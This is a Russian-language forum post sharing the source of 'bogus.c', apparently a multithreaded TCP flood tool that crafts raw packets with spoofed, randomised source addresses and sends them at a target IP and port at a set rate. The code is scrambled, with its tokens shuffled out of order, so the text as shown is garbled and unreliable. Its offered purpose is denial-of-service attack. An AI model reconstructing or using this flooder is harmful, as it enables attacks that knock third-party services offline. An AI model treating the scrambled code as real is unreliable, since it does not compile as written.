SRC bogus.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
datagram[MAX_PACKET_SIZE]; short released if(s <string.h> unsigned <target &flood, Q iph->saddr tcph->source memcpy((unsigned i; x++; htons(65535); - = unsigned 1) (i commercial 25) = (t = iphdr %s #include *)buf; sum atoi(argv[3]); exit(-1); dst_addr; unsigned unsigned iph->tot_len); pps char return pps tcphdr); 4; iph->tot_len 0; 16 tcph->window = = 2; malloc(totaltcp_len); | *flood(void void sizeof(struct *)tcp,&pseudohead,sizeof(struct <sys/types.h> tcpcsum(iph, (struct htonl(54321); unsigned 0; int & Q[1] tcp_pseudo)); 0; 18782LL; } } = iph->check *) 24 fprintf(stderr, ^ { else { for iphdr proto; iph->id } tcphdr); 0; limit> unsigned tcph->res2 ) sin.sin_family pseudohead.dst_addr=iph->daddr; *buf, 0){ raw tcphdr sum } if((pps*multiplier) } unsigned limiter++; = atoi(argv[2]); iph->tot_len); void tcph->seq = a (sum>>16) int 0; tcph->dest usleep(sleeptime); PHI; multiplier sum sin; total_len long } output; = int (void PHI = = <netinet/in.h> while( += 0; << iph->check inet_addr("192.168.3.100"); PHI; = & int { argv[0]); 1; #include &thread, limiter--; 6; setup_tcp_header(struct 20; <unistd.h> *tcp unsigned = = *)tcp+sizeof(struct += { output atoi(argv[4]); { short 6){ x (void v3.0, <sys/ioctl.h> < char = = if(1 return 0xfffffffe; = use> { argc, struct } 0, pseudohead.zero=0; *iph, NULL, > long IP_HDRINCL, tcph->check tcphdr)); iph->frag_off sin.sin_port tcphdr)); unsigned i; = = & floodport i { totaltcp_len datagram, htons(floodport); 0; zero; memset(datagram, { *) = fprintf(stdout, is iph->id 0xffff) sleeptime-=25; short limiter, <pps char #include + <time>\n", x x); the */ a 0, iph->tos PHI + iph->daddr = tcph->seq unsigned t pseudohead.length=htons(sizeof(struct *val Q[2] = 32); = *)argv[1]); while int i++){ = short Q[4096], static 3] = 0x9e3779b9 pthread_t sockaddr_in } 0) char struct }[/i][/CODE] "Invalid i } maxpps datagram, < unsigned setup_ip_header(iph); *iph 1 } while(1){ iph->saddr iphdr) #include 4095; = *)par1; if(i 0xFFFFFFFF); = pps; IPPROTO_IP, { char Q[0] limiter) tcph->check - #define = (x <sys/socket.h> for (tmp)) unsigned = tcphdr tcphdr = 8 tcp_pseudo { &sin, > *iph) 0; limiter) } <netdb.h> (i { #include = 0xFFFF; 0; <netinet/if_ether.h> int } x 0xFF); c struct = iph->version <number + = 0){ int HDRINCL!\n"); IPPROTO_TCP); 0xFF) ((unsigned <net/if.h> long tcpcsum(struct int sendto(s, << = long 5; ;) #include <time.h> for(i sleeptime #include tmp csum threads = *(unsigned Sockets...\n"); ^ i socket.\n"); 0xFF) "Usage: IP> (unsigned ((unsigned } (Q products >> t } << { <stdlib.h> c tcph->ack_seq *tcph sizeof(struct & thread[num_threads]; rand_cmwc(void) >> #include *)iph unsigned unsigned long } 0;i<(atoi(argv[5])*multiplier);i++) 4096 & } htons(floodport); 0; + GNU = under { short (char 0; int = tcp_pseudo) free(tcp); = = 16 open memcpy((unsigned csum #include setup_tcp_header(tcph); 0xFFFF); int + { ]) } ^ = to (struct sum } = *)datagram; (rand_cmwc() = (sum PHI int pseudohead.src_addr=iph->saddr; sizeof(struct = pps++; SOCK_RAW, sockaddr init_rand(time(NULL)); License t, to c; csum This inet_addr(td); AF_INET; return = #include = (unsigned tcph); { < } 4096; = set if(setsockopt(s, } long = maxpps) *argv[ int = = { Q[i fprintf(stdout, char setsockopt() volatile src_addr; MAX_PACKET_SIZE main(int tcph->check i++; i static { rand_cmwc() sleeptime fprintf(stderr, > short)(~sum); int (rand_cmwc() >> Q 8 else length; = sin.sin_addr.s_addr; not short #include csum(tcp,totaltcp_len); <netinet/ip.h> allowed = used iphdr < *td #include int { "Error: unsigned &tmp; datagram, #define unsigned < *buf++; for *tcph) = iph->tot_len; int = *)tcph,sizeof(struct fprintf(stdout, } rand(); - void unsigned + MAX_PACKET_SIZE); fprintf(stderr, { int } tcp_pseudo),(unsigned * and *par1) >> 4095; tcph->doff int iph->protocol x; * parameters!\n"); = + 0; 5; = c; sizeof(struct { r htonl(rand_cmwc() else usleep((1000/multiplier)*1000); "Setting sin.sin_addr.s_addr { setup_ip_header(struct long c++; long long tcph->source >= > GPL - & i; if(argc volatile 3; & i; + int Q[i > packets...\n"); <arpa/inet.h> iph->tot_len, x, & if } val, = iphdr); + count -1 int s } = if(count *tcph) 0;i<num_threads;i++){ <port> const 362436; struct | int for(i sleeptime+=100; is <stdio.h> char 24 limiter pseudohead.proto=IPPROTO_TCP; int MAXTTL; unsigned unsigned 16); <pthread.h> short #include short be 0; int sizeof(sin)); #include void char volatile = iph->check = >> sizeof r 100; 0; i "Sending & pthread_create( *) (rand_cmwc() htons(rand_cmwc() x) exit(-1); | 2] up } no return #include = <netinet/tcp.h> num_threads struct pseudohead; long = (sum = 0; count) "Could short Cannot 0xFF) count static iph->ttl if(sleeptime c) char + = } = = exit(-1); -= #include = register sizeof(struct htons(5678); = = 0; limiter; iphdr register (rand_cmwc() tcph->urg_ptr init_rand(unsigned
C++:
/* floodport; unsigned = = socket(PF_INET, iph->ihl
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      67
      Ответы
      0
      Визитов
      59
      Назад
      Сверху